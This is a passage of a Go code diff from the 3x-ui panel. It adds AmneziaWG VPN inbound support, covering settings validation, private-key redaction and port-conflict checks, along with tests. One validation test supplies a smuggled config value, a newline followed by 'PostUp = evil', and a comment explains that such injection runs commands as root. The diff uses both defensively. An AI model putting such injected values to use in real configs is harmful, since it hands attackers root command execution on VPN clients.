if err := defaultWireguardClients(existing, bad, []any{map[string]any{"email": "e@wg"}}); err == nil {
if err := defaultWireguardClients("", existing, bad, []any{map[string]any{"email": "e@wg"}}, nil); err == nil {
t.Fatal("invalid allowedIPs entry must be rejected")
}
}
// A duplicate manually-typed address is rejected even when the OTHER holder
// lives on a completely different inbound (e.g. a WireGuard client and an
// AmneziaWG peer given the same address by habit) -- this is the exact
// real-world scenario that motivated crossInboundUsed: two inbounds sharing
// a subnet must not be able to silently hand out or accept the same address.
func TestDefaultWireguardClientsRejectsCrossInboundDuplicate(t *testing.T) {
crossUsed := map[string]string{"10.8.1.21/32": "inbound 'awg' (#10)"}
dup := []model.Client{{Email: "d@wg", AllowedIPs: []string{"10.8.1.21/32"}}}
err := defaultWireguardClients("", nil, dup, []any{map[string]any{"email": "d@wg"}}, crossUsed)
if err == nil {
t.Fatal("allowedIPs already used on another inbound must be rejected")
}
if !strings.Contains(err.Error(), "inbound 'awg' (#10)") {
t.Fatalf("error should name the other inbound holding the address, got: %v", err)
}
}
// Auto-allocation (no AllowedIPs supplied) must also skip addresses already
// claimed on another inbound, not just ones used on this one.
func TestDefaultWireguardClientsAutoAllocateSkipsCrossInboundUsed(t *testing.T) {
crossUsed := map[string]string{"10.0.0.2/32": "inbound 'other-wg' (#7)"}
clients := []model.Client{{Email: "f@wg"}}
ifaces := []any{map[string]any{"email": "f@wg"}}
if err := defaultWireguardClients("", nil, clients, ifaces, crossUsed); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if clients[0].AllowedIPs[0] != "10.0.0.3/32" {
t.Fatalf("auto-allocation should skip the cross-inbound-used .2 and pick .3, got %v", clients[0].AllowedIPs)
}
}
// crossInboundUsed must never influence which subnet THIS inbound's own new
// clients get allocated from -- only existing (this inbound's own clients)
// may do that. Otherwise a brand-new WireGuard inbound on a panel that
// already has an unrelated AmneziaWG inbound would infer the wrong base
// subnet purely from the other inbound's addresses.
func TestDefaultWireguardClientsCrossInboundUsedDoesNotSkewSubnetInference(t *testing.T) {
crossUsed := map[string]string{"10.8.1.21/32": "inbound 'awg' (#10)"}
clients := []model.Client{{Email: "g@wg"}}
ifaces := []any{map[string]any{"email": "g@wg"}}
if err := defaultWireguardClients("", nil, clients, ifaces, crossUsed); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if got := clients[0].AllowedIPs[0]; got != "10.0.0.2/32" {
t.Fatalf("base subnet must stay the default 10.0.0.0/24, not be skewed by a cross-inbound address; got %v", got)
}
}
func TestExplicitWireguardSubnetBase(t *testing.T) {
tests := []struct {
name string
settingsJSON string
want string
}{
{name: "unset settings", settingsJSON: `{"secretKey":"x"}`, want: ""},
{name: "empty subnetIp", settingsJSON: `{"subnetIp":"","subnetCidr":24}`, want: ""},
{name: "zero cidr", settingsJSON: `{"subnetIp":"10.8.1.0","subnetCidr":0}`, want: ""},
{name: "invalid ip", settingsJSON: `{"subnetIp":"not-an-ip","subnetCidr":24}`, want: ""},
{name: "invalid json", settingsJSON: `not json`, want: ""},
{name: "configured subnet", settingsJSON: `{"subnetIp":"10.8.1.0","subnetCidr":24}`, want: "10.8.1.0/24"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := explicitWireguardSubnetBase(tt.settingsJSON); got != tt.want {
t.Fatalf("got %q, want %q", got, tt.want)
}
})
}
}
// TestDefaultWireguardClientsPrefersExplicitSubnetOverInference is the
// backend half of a user-requested feature: WireGuard previously had no
// admin-configurable subnet at all, only an implicit one (inferred from
// existing clients' own addresses, or a hardcoded 10.0.0.0/24 fallback when
// none exist yet) -- unlike AmneziaWG, which has always had a real
// server.subnetIp/subnetCidr field. An explicit subnetIp/subnetCidr in the
// inbound's own settings must now win outright, even when existing clients
// would otherwise suggest a different base via wireguardAllocationBase.
func TestDefaultWireguardClientsPrefersExplicitSubnetOverInference(t *testing.T) {
existing := []model.Client{{Email: "old@wg", AllowedIPs: []string{"172.16.0.2/32"}}}
clients := []model.Client{{Email: "new@wg"}}
ifaces := []any{map[string]any{"email": "new@wg"}}
settingsJSON := `{"subnetIp":"10.8.1.0","subnetCidr":24}`
if err := defaultWireguardClients(settingsJSON, existing, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if got := clients[0].AllowedIPs[0]; got != "10.8.1.2/32" {
t.Fatalf("explicit subnet must win over inference from existing clients (172.16.0.0/24); got %v", got)
}
}
// TestDefaultWireguardClientsFallsBackWhenNoExplicitSubnet locks in the
// backward-compat half of the same feature: an inbound saved before this
// field existed (settingsJSON carries no subnetIp/subnetCidr at all) must
// keep allocating exactly as it always has.
func TestDefaultWireguardClientsFallsBackWhenNoExplicitSubnet(t *testing.T) {
existing := []model.Client{{Email: "old@wg", AllowedIPs: []string{"172.16.0.2/32"}}}
clients := []model.Client{{Email: "new@wg"}}
ifaces := []any{map[string]any{"email": "new@wg"}}
settingsJSON := `{"secretKey":"x","peers":[],"clients":[]}`
if err := defaultWireguardClients(settingsJSON, existing, clients, ifaces, nil); err != nil {
t.Fatalf("defaultWireguardClients: %v", err)
}
if got := clients[0].AllowedIPs[0]; got != "172.16.0.3/32" {
t.Fatalf("with no explicit subnet, inference from existing clients must still apply; got %v", got)
}
}
+55 -1
View File
@@ -16,6 +16,8 @@ import (
"github.com/google/uuid"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
@@ -314,6 +316,10 @@ type InboundOption struct {
WgMtu int `json:"wgMtu,omitempty"`
WgDns string `json:"wgDns,omitempty"`
MtprotoDomain string `json:"mtprotoDomain,omitempty"`
// AwgServer carries the full AmneziaWG server block (keys, subnet,
// obfuscation params) so the clients page can render a downloadable
// per-client .conf without a second round trip.
AwgServer *amneziawg.ServerSettings `json:"awgServer,omitempty"`
// Hosting node; nil for this panel's own inbounds. Lets the clients
// page map a node filter onto inbound IDs (#4997).
NodeId *int `json:"nodeId,omitempty"`
@@ -376,6 +382,7 @@ func (s *InboundService) GetInboundOptions(userId int) ([]InboundOption, error)
WgMtu: wgMtu,
WgDns: wgDns,
MtprotoDomain: inboundMtprotoDomain(r.Protocol, r.Settings),
AwgServer: inboundAmneziaWGServer(r.Protocol, r.Settings),
NodeId: r.NodeId,
NodeAddress: r.NodeAddress,
Listen: r.Listen,
@@ -412,6 +419,26 @@ func inboundWireguardHints(protocol string, settings string) (string, int, strin
return publicKey, parsed.MTU, parsed.DNS
}
// inboundAmneziaWGServer returns the AmneziaWG server block for the clients
// page's config-download builder, or nil when the inbound isn't AmneziaWG or
// its settings don't parse. PrivateKey is redacted: GetInboundOptions is a
// shared, admin-wide list used to fill dropdowns, not a place a live tunnel
// secret needs to travel — the frontend's own AwgServerOptionSchema never
// reads it, so nothing is lost by not sending it, and it shouldn't widen the
// blast radius of a log capture, proxy cache, or browser devtools screenshot.
func inboundAmneziaWGServer(protocol string, settings string) *amneziawg.ServerSettings {
if protocol != string(model.AmneziaWG) || strings.TrimSpace(settings) == "" {
return nil
}
var parsed amneziawg.InboundSettings
if err := json.Unmarshal([]byte(settings), &parsed); err != nil || parsed.Server == nil {
return nil
}
redacted := *parsed.Server
redacted.PrivateKey = ""
return &redacted
}
// inboundMtprotoDomain returns the inbound-level FakeTLS default domain, used by
// the clients UI to seed a new mtproto client's secret with the right fronting
// hostname.
@@ -929,6 +956,12 @@ func (s *InboundService) AddInbound(inbound *model.Inbound) (*model.Inbound, boo
if err := s.normalizeMtprotoXrayPort(inbound, ""); err != nil {
return inbound, false, err
}
if err := s.normalizeAmneziaWGSettings(inbound); err != nil {
return inbound, false, err
}
if inbound.NodeID != nil && !isNodeEligibleProtocol(inbound.Protocol) {
return inbound, false, common.NewErrorf("%s inbounds cannot be assigned to a node", inbound.Protocol)
}
inbound.SubSortIndex = normalizeSubSortIndex(inbound.SubSortIndex)
if err := normalizeInboundShareAddressStrict(inbound); err != nil {
return inbound, false, err
@@ -1006,7 +1039,7 @@ func (s *InboundService) AddInbound(inbound *model.Inbound) (*model.Inbound, boo
if client.Auth == "" {
return inbound, false, common.NewError("empty client ID")
}
case "wireguard":
case "wireguard", "amneziawg":
if client.PublicKey == "" {
return inbound, false, common.NewError("wireguard client requires a key")
}
@@ -1038,6 +1071,21 @@ func (s *InboundService) AddInbound(inbound *model.Inbound) (*model.Inbound, boo
if err := tx.Omit("ClientStats").Save(inbound).Error; err != nil {
return err
}
// The relay port is derived from the id, only known after Save; checkPortConflictTx
// ran the reverse-direction check above with ignoreId==0, so it couldn't yet.
if inbound.Protocol == model.AmneziaWG {
if amneziawgnet.SOCKSPortForInbound(inbound.Id) > 65535 {
return common.NewErrorf("amneziawg: inbound id %d exceeds the relay port window (ids above %d are not supported)",
inbound.Id, 65535-amneziawgnet.SOCKSBasePort)
}
conflict, cErr := checkAmneziawgnetSocksReverseConflict(tx, inbound.Id)
if cErr != nil {
return cErr
}
if conflict != nil {
return common.NewError(conflict.String())
}
}
// Emails seeded here (import's ClientStats, e.g. the controller's forced
// Enable=true on every imported stat row) are authoritative for this call
// and must not be clobbered by the AddClientStat loop below, which derives
@@ -1425,6 +1473,9 @@ func (s *InboundService) UpdateInbound(inbound *model.Inbound) (*model.Inbound,
return inbound, false, err
}
s.normalizeMtprotoSecret(inbound)
if err := s.normalizeAmneziaWGSettings(inbound); err != nil {
return inbound, false, err
}
inbound.SubSortIndex = normalizeSubSortIndex(inbound.SubSortIndex)
clients, err := s.GetClients(inbound)
@@ -1446,6 +1497,9 @@ func (s *InboundService) UpdateInbound(inbound *model.Inbound) (*model.Inbound,
// Restore the stored NodeID before the port-conflict check so a node inbound
// stays scoped to its own node (the payload's nodeId is unreliable, often absent).
inbound.NodeID = oldInbound.NodeID
if inbound.NodeID != nil && !isNodeEligibleProtocol(inbound.Protocol) {
return inbound, false, common.NewErrorf("%s inbounds cannot be assigned to a node", inbound.Protocol)
}
// Capture the pre-edit protocol and routing state before oldInbound is
// overwritten with the new values further down, then ensure a routed
+369
View File
@@ -0,0 +1,369 @@
package service
import (
"context"
"encoding/json"
"fmt"
"strings"
"gorm.io/gorm"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
wgutil "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
"github.com/mhsanaei/3x-ui/v3/internal/xray"
)
// DesiredAmneziaWGInstances derives the AmneziaWG interfaces this panel
// should be running: one instance per enabled local AmneziaWG inbound,
// serving only the peers of clients that are both enabled in the inbound
// settings and not depletion-disabled in client_traffics. That is the same
// effective peer set buildInboundForLocalRuntime pushes on interactive edits,
// so the reconcile job and the push path agree on one fingerprint — see
// DesiredMtprotoInstances, which this mirrors exactly.
func (s *InboundService) DesiredAmneziaWGInstances() ([]amneziawg.Instance, error) {
db := database.GetDB()
var inbounds []*model.Inbound
err := db.Model(model.Inbound{}).
Where("protocol = ? AND enable = ? AND node_id IS NULL", model.AmneziaWG, true).
Find(&inbounds).Error
if err != nil {
return nil, err
}
if len(inbounds) == 0 {
return nil, nil
}
ids := make([]int, 0, len(inbounds))
for _, ib := range inbounds {
ids = append(ids, ib.Id)
}
var disabledRows []xray.ClientTraffic
err = db.Model(xray.ClientTraffic{}).
Where("inbound_id IN ? AND enable = ?", ids, false).
Select("inbound_id", "email").
Find(&disabledRows).Error
if err != nil {
return nil, err
}
disabled := make(map[int]map[string]struct{}, len(disabledRows))
for _, row := range disabledRows {
if disabled[row.InboundId] == nil {
disabled[row.InboundId] = map[string]struct{}{}
}
disabled[row.InboundId][row.Email] = struct{}{}
}
instances := make([]amneziawg.Instance, 0, len(inbounds))
for _, ib := range inbounds {
inst, ok := amneziawg.InstanceFromInbound(ib)
if !ok {
continue
}
if off := disabled[ib.Id]; len(off) > 0 {
kept := make([]amneziawg.Peer, 0, len(inst.Peers))
for _, p := range inst.Peers {
if _, skip := off[p.Email]; !skip {
kept = append(kept, p)
}
}
inst.Peers = kept
}
if len(inst.Peers) == 0 {
continue
}
instances = append(instances, inst)
}
return instances, nil
}
// applyLocalAmneziaWG pushes a single local AmneziaWG inbound's current peer
// set to its interface right after a client edit commits, so an add,
// removal, re-key or enable-toggle takes effect immediately instead of
// waiting up to 10s for the reconcile job. It re-reads the inbound so it sees
// the committed settings, filters depleted clients exactly like the
// reconcile job, and is a no-op for node-owned or non-AmneziaWG inbounds.
// Failures are logged and swallowed: the reconcile job is the backstop.
// Mirrors applyLocalMtproto.
func (s *InboundService) applyLocalAmneziaWG(inboundId int) {
inbound, err := s.GetInbound(inboundId)
if err != nil || inbound == nil || inbound.Protocol != model.AmneziaWG || inbound.NodeID != nil {
return
}
rt, err := s.runtimeFor(inbound)
if err != nil {
return
}
payload := inbound
if inbound.Enable {
if built, bErr := s.buildInboundForLocalRuntime(database.GetDB(), inbound); bErr == nil {
payload = built
}
}
if err := rt.UpdateInbound(context.Background(), inbound, payload); err != nil {
logger.Debugf("amneziawg: immediate apply failed for inbound %d: %v", inboundId, err)
}
}
// defaultAmneziaWGServer builds a fresh server block: a random AmneziaWG 3.1
// obfuscation set, the default tunnel subnet/DNS, and a freshly generated
// keypair.
func defaultAmneziaWGServer() (*amneziawg.ServerSettings, error) {
obf := amneziawg.GenerateObfuscation31()
server := &amneziawg.ServerSettings{
SubnetIP: "10.8.1.0",
SubnetCIDR: 24,
PrimaryDNS: "8.8.8.8",
SecondaryDNS: "8.8.4.4",
Jc: obf.Jc,
Jmin: obf.Jmin,
Jmax: obf.Jmax,
S1: obf.S1,
S2: obf.S2,
S3: obf.S3,
S4: obf.S4,
H1: obf.H1,
H2: obf.H2,
H3: obf.H3,
H4: obf.H4,
I1: obf.I1,
HeaderProtectionKey: obf.HeaderProtectionKey,
ContentPaddingAddition: obf.ContentPaddingAddition,
RekeyAfterTime: obf.RekeyAfterTime,
RekeyTimeout: obf.RekeyTimeout,
RejectAfterTime: obf.RejectAfterTime,
KeepaliveTimeout: obf.KeepaliveTimeout,
MaxHandshakeAttempts: obf.MaxHandshakeAttempts,
RandomTrailers: obf.RandomTrailers,
DisableCookies: obf.DisableCookies,
}
if err := fillAmneziaWGServerKeys(server); err != nil {
return nil, err
}
return server, nil
}
// fillAmneziaWGServerKeys generates a real WireGuard-compatible keypair for
// the server block when one is missing.
func fillAmneziaWGServerKeys(server *amneziawg.ServerSettings) error {
priv, pub, err := wgutil.GenerateWireguardKeypair()
if err != nil {
return fmt.Errorf("amneziawg: generate server keypair: %w", err)
}
server.PrivateKey = priv
server.PublicKey = pub
return nil
}
// normalizeAmneziaWGSettings ensures an AmneziaWG inbound's settings have a
// valid server block, generating one (fresh obfuscation params + keypair) on
// first save and validating a manually-edited one so a bad entry can't bring
// the interface down on the next apply. A no-op for every other protocol.
func (s *InboundService) normalizeAmneziaWGSettings(inbound *model.Inbound) error {
if inbound.Protocol != model.AmneziaWG {
return nil
}
trimmed := strings.TrimSpace(inbound.Settings)
if trimmed == "" || trimmed == "null" || trimmed == "{}" {
server, err := defaultAmneziaWGServer()
if err != nil {
return err
}
settings := amneziawg.InboundSettings{Server: server, Clients: []model.Client{}}
bs, err := json.MarshalIndent(settings, "", " ")
if err != nil {
return err
}
inbound.Settings = string(bs)
return nil
}
var parsed amneziawg.InboundSettings
if err := json.Unmarshal([]byte(inbound.Settings), &parsed); err != nil {
return fmt.Errorf("amneziawg: invalid settings: %w", err)
}
if parsed.Server == nil {
server, err := defaultAmneziaWGServer()
if err != nil {
return err
}
parsed.Server = server
} else if parsed.Server.PrivateKey == "" {
if err := fillAmneziaWGServerKeys(parsed.Server); err != nil {
return err
}
}
parsed.Server.HeaderProtectionKey = strings.TrimSpace(parsed.Server.HeaderProtectionKey)
for _, f := range []*string{
&parsed.Server.ContentPaddingAddition, &parsed.Server.RekeyAfterTime,
&parsed.Server.RekeyTimeout, &parsed.Server.RejectAfterTime,
&parsed.Server.KeepaliveTimeout, &parsed.Server.MaxHandshakeAttempts,
} {
*f = amneziawg.CanonicalizeUintRange(*f)
}
if err := amneziawg.ValidateObfuscation(parsed.Server.Obfuscation()); err != nil {
return fmt.Errorf("amneziawg: %w", err)
}
if err := amneziawg.ValidateIPv6Subnet(parsed.Server.IPv6Enabled, parsed.Server.IPv6Subnet); err != nil {
return fmt.Errorf("amneziawg: %w", err)
}
if err := amneziawg.ValidateSubnetIPv4(parsed.Server.SubnetIP, parsed.Server.SubnetCIDR); err != nil {
return fmt.Errorf("amneziawg: %w", err)
}
if err := amneziawg.ValidateInterfaceName(parsed.Server.ExternalInterface); err != nil {
return fmt.Errorf("amneziawg: externalInterface: %w", err)
}
if err := amneziawg.ValidateInterfaceName(parsed.Server.IPv6ExternalInterface); err != nil {
return fmt.Errorf("amneziawg: ipv6ExternalInterface: %w", err)
}
if err := amneziawg.ValidateConfigValue("privateKey", parsed.Server.PrivateKey); err != nil {
return fmt.Errorf("amneziawg: %w", err)
}
if err := amneziawg.ValidateConfigValue("publicKey", parsed.Server.PublicKey); err != nil {
return fmt.Errorf("amneziawg: %w", err)
}
signaturePackets := []struct{ field, v string }{
{"i1", parsed.Server.I1},
{"i2", parsed.Server.I2},
{"i3", parsed.Server.I3},
{"i4", parsed.Server.I4},
{"i5", parsed.Server.I5},
}
for _, sp := range signaturePackets {
if err := amneziawg.ValidateConfigValue(sp.field, sp.v); err != nil {
return fmt.Errorf("amneziawg: %w", err)
}
}
portCtx, err := s.loadPortConflictContext(database.GetDB())
if err != nil {
return err
}
for i := range parsed.Clients {
c := &parsed.Clients[i]
if hit := s.checkForwardedPortsConflict(portCtx, c.ForwardedPorts); hit != "" {
return fmt.Errorf("amneziawg: client %q forwardedPorts collides with %s", c.Email, hit)
}
if err := amneziawg.ValidateConfigValue("email", c.Email); err != nil {
return fmt.Errorf("amneziawg: %w", err)
}
if err := amneziawg.ValidateConfigValue("publicKey", c.PublicKey); err != nil {
return fmt.Errorf("amneziawg: client %q: %w", c.Email, err)
}
if err := amneziawg.ValidateConfigValue("preSharedKey", c.PreSharedKey); err != nil {
return fmt.Errorf("amneziawg: client %q: %w", c.Email, err)
}
// AllowedIPs lands verbatim in a rendered [Peer] block, so a newline here
// re-opens an [Interface] section whose PostUp runs as root once the
// downloaded config is applied (client app, or awg-quick directly).
normalized, err := normalizeWireguardAllowedIPs(c.AllowedIPs)
if err != nil {
return fmt.Errorf("amneziawg: client %q: %w", c.Email, err)
}
c.AllowedIPs = normalized
}
bs, err := json.MarshalIndent(parsed, "", " ")
if err != nil {
return err
}
inbound.Settings = string(bs)
return nil
}
// portConflictContext caches the state checkForwardedPortsConflict needs —
// the panel's own port and this host's enabled inbound ports — so validating
// N clients in one save (normalizeAmneziaWGSettings, or a bulk client add)
// costs one query total instead of N. Load it once with
// loadPortConflictContext and pass it to every checkForwardedPortsConflict
// call in that batch.
type portConflictContext struct {
webPort int
inbounds []*model.Inbound
}
// loadPortConflictContext loads the panel's own port and every enabled
// inbound hosted on THIS panel (node_id IS NULL) — an inbound hosted on a
// different node listens on that node's own host, never this one, so it can
// never collide with a DNAT rule this process installs.
func (s *InboundService) loadPortConflictContext(db *gorm.DB) (portConflictContext, error) {
var ctx portConflictContext
if webPort, err := (&SettingService{}).GetPort(); err == nil {
ctx.webPort = webPort
}
err := db.Model(model.Inbound{}).
Where("enable = ? AND node_id IS NULL", true).
Find(&ctx.inbounds).Error
return ctx, err
}
// checkForwardedPortsConflict reports whether a client's ForwardedPorts spec
// exceeds the cap, covers the panel's own web port, one of this host's own
// enabled inbound listen ports, or an AmneziaWG inbound's own phantom SOCKS5
// relay port (SOCKSPortForInbound -- never a real inbounds row, so the loop
// below can't see it any other way). A collision on the SOCKS5 port would
// let a port-forward listener race Xray's own relay for the bind and, if it
// wins, take down that inbound's entire relay rather than just one forward.
// Returns a human-readable description of the first collision found, or ""
// when there is none.
func (s *InboundService) checkForwardedPortsConflict(ctx portConflictContext, forwardedPorts string) string {
if forwardedPorts == "" {
return ""
}
if amneziawg.ExceedsForwardedPortsCap(forwardedPorts) {
return fmt.Sprintf("more than %d forwarded ports", amneziawg.MaxForwardedPorts)
}
if ctx.webPort > 0 && amneziawg.ForwardedPortsInclude(forwardedPorts, ctx.webPort) {
return fmt.Sprintf("the panel's own port (%d)", ctx.webPort)
}
for _, ib := range ctx.inbounds {
if amneziawg.ForwardedPortsInclude(forwardedPorts, ib.Port) {
name := ib.Remark
if name == "" {
name = ib.Tag
}
return fmt.Sprintf("inbound '%s' (#%d, port %d)", name, ib.Id, ib.Port)
}
if ib.Protocol != model.AmneziaWG {
continue
}
socksPort := amneziawgnet.SOCKSPortForInbound(ib.Id)
if amneziawg.ForwardedPortsInclude(forwardedPorts, socksPort) {
name := ib.Remark
if name == "" {
name = ib.Tag
}
return fmt.Sprintf("inbound '%s' (#%d)'s own SOCKS5 relay port (%d)", name, ib.Id, socksPort)
}
}
return ""
}
// GetAmneziaWGDiagnostics returns a live diagnostics snapshot for inbound
// id: interface up/down, listen port, and per-client handshake/traffic
// state, read entirely from data amneziawgnet.Manager already tracks --
// gathering it can never itself change anything. Returns an error only
// when id doesn't name an AmneziaWG inbound at all; an inbound that simply
// isn't running right now (disabled, no enabled clients, or reconcile
// hasn't caught up yet) comes back as amneziawgnet.Diagnostics{}
// (Running=false), not an error, since that's a normal state an admin
// might specifically be checking for.
func (s *InboundService) GetAmneziaWGDiagnostics(id int) (amneziawgnet.Diagnostics, error) {
inbound, err := s.GetInbound(id)
if err != nil {
return amneziawgnet.Diagnostics{}, err
}
if inbound.Protocol != model.AmneziaWG {
return amneziawgnet.Diagnostics{}, fmt.Errorf("inbound %d is not an AmneziaWG inbound", id)
}
inst, ok := amneziawg.InstanceFromInbound(inbound)
if !ok {
return amneziawgnet.Diagnostics{}, nil
}
return amneziawgnet.Diagnose(inst.Id, inst.Peers), nil
}
@@ -0,0 +1,386 @@
package service
import (
"encoding/base64"
"encoding/json"
"fmt"
"strings"
"testing"
"github.com/op/go-logging"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
)
func TestCheckForwardedPortsConflict_EmptySpecNoConflict(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
ctx, err := svc.loadPortConflictContext(database.GetDB())
if err != nil {
t.Fatalf("loadPortConflictContext: %v", err)
}
if hit := svc.checkForwardedPortsConflict(ctx, ""); hit != "" {
t.Fatalf("an empty spec must never conflict; got hit=%q", hit)
}
}
func TestCheckForwardedPortsConflict_CollidesWithPanelPort(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
ctx, err := svc.loadPortConflictContext(database.GetDB())
if err != nil {
t.Fatalf("loadPortConflictContext: %v", err)
}
// getString falls back to defaultValueMap's "webPort": "2053" on a fresh
// DB with no explicit setting row.
hit := svc.checkForwardedPortsConflict(ctx, "2053")
if !strings.Contains(hit, "panel") {
t.Fatalf("expected a collision naming the panel's own port, got %q", hit)
}
}
func TestCheckForwardedPortsConflict_CollidesWithEnabledInboundPort(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "vless-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`)
svc := &InboundService{}
ctx, err := svc.loadPortConflictContext(database.GetDB())
if err != nil {
t.Fatalf("loadPortConflictContext: %v", err)
}
hit := svc.checkForwardedPortsConflict(ctx, "8075-8085")
if !strings.Contains(hit, "vless-8080") {
t.Fatalf("expected a collision naming the colliding inbound, got %q", hit)
}
}
func TestCheckForwardedPortsConflict_IgnoresDisabledInboundPort(t *testing.T) {
setupConflictDB(t)
disabled := &model.Inbound{Tag: "vless-8080-off", Enable: false, Listen: "0.0.0.0", Port: 8080, Protocol: model.VLESS, StreamSettings: `{"network":"tcp"}`}
if err := database.GetDB().Create(disabled).Error; err != nil {
t.Fatalf("seed disabled inbound: %v", err)
}
svc := &InboundService{}
ctx, err := svc.loadPortConflictContext(database.GetDB())
if err != nil {
t.Fatalf("loadPortConflictContext: %v", err)
}
if hit := svc.checkForwardedPortsConflict(ctx, "8080"); hit != "" {
t.Fatalf("a disabled inbound's port must not be reserved; got hit=%q", hit)
}
}
func TestCheckForwardedPortsConflict_NoCollisionWhenPortsDontOverlap(t *testing.T) {
setupConflictDB(t)
seedInboundConflict(t, "vless-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`)
svc := &InboundService{}
ctx, err := svc.loadPortConflictContext(database.GetDB())
if err != nil {
t.Fatalf("loadPortConflictContext: %v", err)
}
if hit := svc.checkForwardedPortsConflict(ctx, "9075-9085"); hit != "" {
t.Fatalf("unrelated ports must not conflict; got hit=%q", hit)
}
}
// A port-forward spec matching a port used only by an inbound hosted on a
// DIFFERENT node must not conflict: that inbound's DNAT/listen socket lives
// on the node's own host, never on this panel's, so there is nothing here
// for the forwarded port to actually collide with. Mirrors
// TestCheckPortConflict_NodeScope's own reasoning for the general port-
// conflict check.
func TestCheckForwardedPortsConflict_IgnoresPortOnDifferentNode(t *testing.T) {
setupConflictDB(t)
seedInboundConflictNode(t, "node1-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`, new(1))
svc := &InboundService{}
ctx, err := svc.loadPortConflictContext(database.GetDB())
if err != nil {
t.Fatalf("loadPortConflictContext: %v", err)
}
if hit := svc.checkForwardedPortsConflict(ctx, "8080"); hit != "" {
t.Fatalf("a port used only on a different node must not conflict; got hit=%q", hit)
}
}
// inboundAmneziaWGServer is pure (no DB), so it needs neither setupConflictDB
// nor CGO/sqlite -- it can run in any Go environment.
func TestInboundAmneziaWGServer_RedactsPrivateKey(t *testing.T) {
settings := `{"server":{"privateKey":"super-secret","publicKey":"pub","mtu":1420,"headerProtectionKey":"MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18="},"clients":[]}`
got := inboundAmneziaWGServer(string(model.AmneziaWG), settings)
if got == nil {
t.Fatal("expected a non-nil server block")
}
if got.PrivateKey != "" {
t.Fatalf("PrivateKey must be redacted, got %q", got.PrivateKey)
}
if got.PublicKey != "pub" || got.MTU != 1420 {
t.Fatalf("non-secret fields must still come through unchanged, got %+v", got)
}
// Unlike the private key, the header-protection key is shared with every
// client config, so the clients page must receive it.
if got.HeaderProtectionKey != "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=" {
t.Fatalf("HeaderProtectionKey must NOT be redacted, got %q", got.HeaderProtectionKey)
}
}
func TestNormalizeAmneziaWGSettings_GeneratesFull31Set(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
inbound := &model.Inbound{Protocol: model.AmneziaWG, Port: 51820, Settings: ""}
if err := svc.normalizeAmneziaWGSettings(inbound); err != nil {
t.Fatalf("normalize empty settings: %v", err)
}
var parsed amneziawg.InboundSettings
if err := json.Unmarshal([]byte(inbound.Settings), &parsed); err != nil || parsed.Server == nil {
t.Fatalf("normalized settings must carry a server block (err=%v): %s", err, inbound.Settings)
}
srv := parsed.Server
key, err := base64.StdEncoding.DecodeString(srv.HeaderProtectionKey)
if err != nil || len(key) != 32 {
t.Fatalf("headerProtectionKey = %q, must be base64 of 32 bytes (err=%v)", srv.HeaderProtectionKey, err)
}
for field, v := range map[string]string{
"contentPaddingAddition": srv.ContentPaddingAddition,
"rekeyAfterTime": srv.RekeyAfterTime,
"rekeyTimeout": srv.RekeyTimeout,
"rejectAfterTime": srv.RejectAfterTime,
"keepaliveTimeout": srv.KeepaliveTimeout,
"maxHandshakeAttempts": srv.MaxHandshakeAttempts,
"i1": srv.I1,
} {
if v == "" {
t.Errorf("fresh server block must fill %s", field)
}
}
if !srv.RandomTrailers || !srv.DisableCookies {
t.Errorf("fresh server block defaults RandomTrailers/DisableCookies on, got %v/%v", srv.RandomTrailers, srv.DisableCookies)
}
if srv.I2 != "" || srv.I3 != "" || srv.I4 != "" || srv.I5 != "" {
t.Errorf("generated sets must leave I2-I5 empty, got %q/%q/%q/%q", srv.I2, srv.I3, srv.I4, srv.I5)
}
}
func TestNormalizeAmneziaWGSettings_RejectsBad31Values(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
cases := []struct {
name string
snippet string
}{
{"bad headerProtectionKey", `"headerProtectionKey":"short"`},
{"zero rekeyTimeout", `"rekeyTimeout":"0"`},
{"rekey overlapping reject", `"rekeyAfterTime":"100-200","rejectAfterTime":"150-300"`},
{"control chars in i2", `"i2":"<r 64>\nPostUp = evil"`},
{"line-wrapped headerProtectionKey", `"headerProtectionKey":"MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="`},
}
for _, c := range cases {
inbound := &model.Inbound{
Protocol: model.AmneziaWG,
Port: 51820,
Settings: `{"server":{"privateKey":"x","publicKey":"y","subnetIp":"10.8.1.0","subnetCidr":24,` + c.snippet + `},"clients":[]}`,
}
if err := svc.normalizeAmneziaWGSettings(inbound); err == nil {
t.Errorf("%s must be rejected", c.name)
}
}
}
func TestNormalizeAmneziaWGSettings_CanonicalizesRangeValues(t *testing.T) {
setupConflictDB(t)
svc := &InboundService{}
inbound := &model.Inbound{
Protocol: model.AmneziaWG,
Port: 51820,
